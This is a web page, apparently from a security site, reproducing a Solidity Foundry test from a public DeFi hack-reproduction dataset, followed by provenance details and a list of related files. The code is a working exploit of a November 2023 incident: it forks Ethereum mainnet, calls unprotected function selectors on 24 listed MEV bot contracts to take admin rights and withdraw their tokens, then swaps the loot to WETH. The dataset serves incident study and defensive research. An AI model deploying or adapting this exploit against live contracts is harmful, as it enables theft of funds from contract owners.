Public reproduction file
src/test/2023-11/MEV_0xa247_exp.sol
Public reproduction file for dataset entry MEVBot_0xa247.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$150K8// Attacker : https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef489// Attack Contract : https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc46312910// One of the victims contract : https://etherscan.io/address/0xa2473460f86e1058bdd0a2c531b15534fd403d9711// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a4513// @Analysis14// https://twitter.com/Phalcon_xyz/status/172359121426263256216contract ContractTest is Test {17 IERC20 private constant RAIL = IERC20(0xe76C6c83af64e4C60245D8C7dE953DF673a7A33D);18 IERC20 private constant BBANK = IERC20(0xF4b5470523cCD314C6B9dA041076e7D79E0Df267);19 IERC20 private constant BUMP = IERC20(0x785c34312dfA6B74F6f1829f79ADe39042222168);20 IERC20 private constant HOPR = IERC20(0xF5581dFeFD8Fb0e4aeC526bE659CFaB1f8c781dA);21 IERC20 private constant ISP = IERC20(0xC8807f0f5BA3fa45FfBdc66928d71c5289249014);22 IERC20 private constant FMT = IERC20(0x99c6e435eC259A7E8d65E1955C9423DB624bA54C);23 IERC20 private constant MARSH = IERC20(0x5a666c7d92E5fA7Edcb6390E4efD6d0CDd69cF37);24 IERC20 private constant KEL = IERC20(0x4ABB9cC67BD3da9Eb966d1159A71a0e68BD15432);25 IERC20 private constant CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);26 IERC20 private constant UNO = IERC20(0x474021845C4643113458ea4414bdb7fB74A01A77);27 IERC20 private constant KINE = IERC20(0xCbfef8fdd706cde6F208460f2Bf39Aa9c785F05D);28 IERC20 private constant TXA = IERC20(0x4463e6A3dEd0dBE3F6e15bC8420dFc55e5FeA830);29 IERC20 private constant MoFi = IERC20(0xB2dbF14D0b47ED3Ba02bDb7C954e05A72deB7544);30 IERC20 private constant ODDZ = IERC20(0xCd2828fc4D8E8a0eDe91bB38CF64B1a81De65Bf6);31 IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);32 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));33 Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);35 function setUp() public {36 vm.createSelectFork("mainnet", 18_552_866);37 }39 function testExploit() public {40 deal(address(this), 0 ether);41 approveAll();42 address[] memory tokens = new address[](24);43 tokens[0] = address(RAIL);44 tokens[1] = address(BBANK);45 tokens[2] = address(USDT);46 tokens[3] = address(BUMP);47 tokens[4] = address(0);48 tokens[5] = address(HOPR);49 tokens[6] = address(ISP);50 tokens[7] = address(FMT);51 tokens[8] = address(MARSH);52 tokens[9] = address(KEL);53 tokens[10] = address(CELL);54 tokens[11] = address(HOPR);55 tokens[12] = address(UNO);56 tokens[13] = address(KINE);57 tokens[14] = address(KEL);58 tokens[15] = address(TXA);59 tokens[16] = address(BUMP);60 tokens[17] = address(USDT);61 tokens[18] = address(USDT);62 tokens[19] = address(USDT);63 tokens[20] = address(USDT);64 tokens[21] = address(MoFi);65 tokens[22] = address(ODDZ);66 tokens[23] = address(USDT);68 address[] memory victims = new address[](24);69 victims[0] = 0xa2473460f86e1058bdd0A2C531B15534fD403d97;70 victims[1] = 0xe2637e705475F367c94467c4b844d58dB293aFF8;71 victims[2] = 0x2481590CD6dcC9870212974627b2E938133d724b;72 victims[3] = 0xC84C76b01f62733A6a385e9a70fd43bda0a4530C;73 victims[4] = 0x2FbC293D80EF7c0D12A65AC69BB9D9E12F049064;74 victims[5] = 0xcCb65510Af354285137a175e86f9618ACf5f4861;75 victims[6] = 0x346Bbb951f24d6744231b38ca9c1305f0985d12D;76 victims[7] = 0x4A3097cdaA8f93C8da1561328fdc13b64E710dCc;77 victims[8] = 0xdbBC243E97F083562a02c458D7182489b4aC85F6;78 victims[9] = 0xB4c6503bf5dca7C3cF98a06bEc59cf5857801D98;79 victims[10] = 0xA9fe587d7c87691Ba76f3A4a63a8A8f2c1dBf12a;80 victims[11] = 0xe53a9d90B66F7EdD7aAA22aaD474aBf45C55aF72;81 victims[12] = 0xb0852b6e58560176Cf803dC4D7d6AAe151B8F242;82 victims[13] = 0x0Aa6de644966648a5C31769d98Fe9F9881362eC8;83 victims[14] = 0xE380cB00D0a1a7CB7d71569B573B6D4d665aFf87;84 victims[15] = 0x800D11ae57133F6E27B4632b598caF630f0A55Dc;85 victims[16] = 0x956750265b7a33A8564510AF5B4b3589484aF403;86 victims[17] = 0x8d6114a24cC8cca883bBe77034f3e6F19bD8204C;87 victims[18] = 0x976248f02DA78E034F484984009b4b9f15AE1722;88 victims[19] = 0x5f507AdcE6F67a78eDF873065953a368F5C6Fa31;89 victims[20] = 0xd9047C11a85D9176B2370388D81a3DBd4F99Ad96;90 victims[21] = 0xF985cd900ec163B544623303D6383eB5C4B24712;91 victims[22] = 0x26Cae30b00f4af20894A0827f5FcAAE752B38217;92 victims[23] = 0xf5E303702b5927670998D6EC63449Cb2EDF65728;94 emit log_named_decimal_uint("Attacker WETH balance before exploit", WETH.balanceOf(address(this)), 18);95 emit log_named_decimal_uint(96 "Attacker BUMP balance before exploit", BUMP.balanceOf(address(this)), BUMP.decimals()97 );98 emit log_named_decimal_uint("Attacker ETH balance before exploit", address(this).balance, 18);100 for (uint8 i; i < tokens.length; ++i) {101 exploitMevBot(tokens[i], victims[i]);102 }104 emit log_named_decimal_uint("Attacker WETH balance after exploit", WETH.balanceOf(address(this)), 18);105 emit log_named_decimal_uint(106 "Attacker BUMP balance after exploit", BUMP.balanceOf(address(this)), BUMP.decimals()107 );108 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);109 }111 function exploitMevBot(address token, address victim) internal {112 removeAdmin(token, victim);113 withdrawToken(token, victim);114 if (token == address(BUMP)) {115 BUMP.transfer(address(this), BUMP.balanceOf(address(this)));116 } else if (token != address(0)) {117 tokenToWETH(token);118 } else {119 return;120 }121 }123 function removeAdmin(address token, address victim) internal {124 address[] memory recipients = new address[](1);125 recipients[0] = address(this);126 address tokenAddr = token == address(0) ? address(0) : token;128 (bool success,) = victim.call(129 abi.encodeWithSelector(130 bytes4(0xe7d25975), address(this), address(this), tokenAddr, recipients, 4, 3, 2, 0, 0131 )132 );133 require(success, "Call to removeAdmin() not successful");134 }136 function withdrawToken(address token, address victim) internal {137 address tokenAddr = token == address(0) ? address(0) : token;139 (bool success,) = victim.call(abi.encodeWithSelector(bytes4(0x4abe11b4)));140 require(success);142 success = false;143 (success,) = victim.call(abi.encodeWithSelector(bytes4(0xd547557b)));144 require(success);146 success = false;147 (success,) = victim.call(abi.encodeWithSelector(bytes4(0x90fb9dca), tokenAddr, 0));148 require(success);149 }151 function approveAll() internal {152 RAIL.approve(address(Router), type(uint256).max);153 BBANK.approve(address(Router), type(uint256).max);154 USDT.approve(address(Router), type(uint256).max);155 BUMP.approve(address(Router), type(uint256).max);156 HOPR.approve(address(Router), type(uint256).max);157 ISP.approve(address(Router), type(uint256).max);158 FMT.approve(address(Router), type(uint256).max);159 MARSH.approve(address(Router), type(uint256).max);160 KEL.approve(address(Router), type(uint256).max);161 CELL.approve(address(Router), type(uint256).max);162 UNO.approve(address(Router), type(uint256).max);163 KINE.approve(address(Router), type(uint256).max);164 TXA.approve(address(Router), type(uint256).max);165 MoFi.approve(address(Router), type(uint256).max);166 ODDZ.approve(address(Router), type(uint256).max);167 }169 function tokenToWETH(170 address token171 ) internal {172 address[] memory path = new address[](2);173 path[0] = token;174 path[1] = address(WETH);175 uint256 tokenBalance;176 if (token == address(USDT)) {177 tokenBalance = IUSDT(token).balanceOf(address(this));178 } else {179 tokenBalance = IERC20(token).balanceOf(address(this));180 }181 uint256[] memory amounts = Router.getAmountsOut(tokenBalance, path);183 Router.swapExactTokensForTokens(tokenBalance, amounts[1], path, address(this), block.timestamp + 1000);184 }186 receive() external payable {}187}Analysis
Dataset entry
Public Foundry test for “MEVBot_0xa247” (2023-11-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4e087743e8025012c4704a1953c87eeff1e6ef48
- Attack Contract
0x3763b7f83358171b1660ee209f327954cc463129
- Attack Tx
0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45
- Explorer: https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef48
- Explorer: https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc463129
- Explorer: https://etherscan.io/address/0xa2473460f86e1058bdd0a2c531b15534fd403d97
- Reference: https://twitter.com/Phalcon_xyz/status/1723591214262632562
File record
- Name
- MEVBot_0xa247
- Path
- src/test/2023-11/MEV_0xa247_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a3b714d67c9ac557d38cd7b67368f6aa852e9070
- Language
- Solidity
- Size
- 188 lines
- Date
- 2023-11-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/MEV_0xa247_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a3b714d67c9ac557d38cd7b67368f6aa852e9070, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.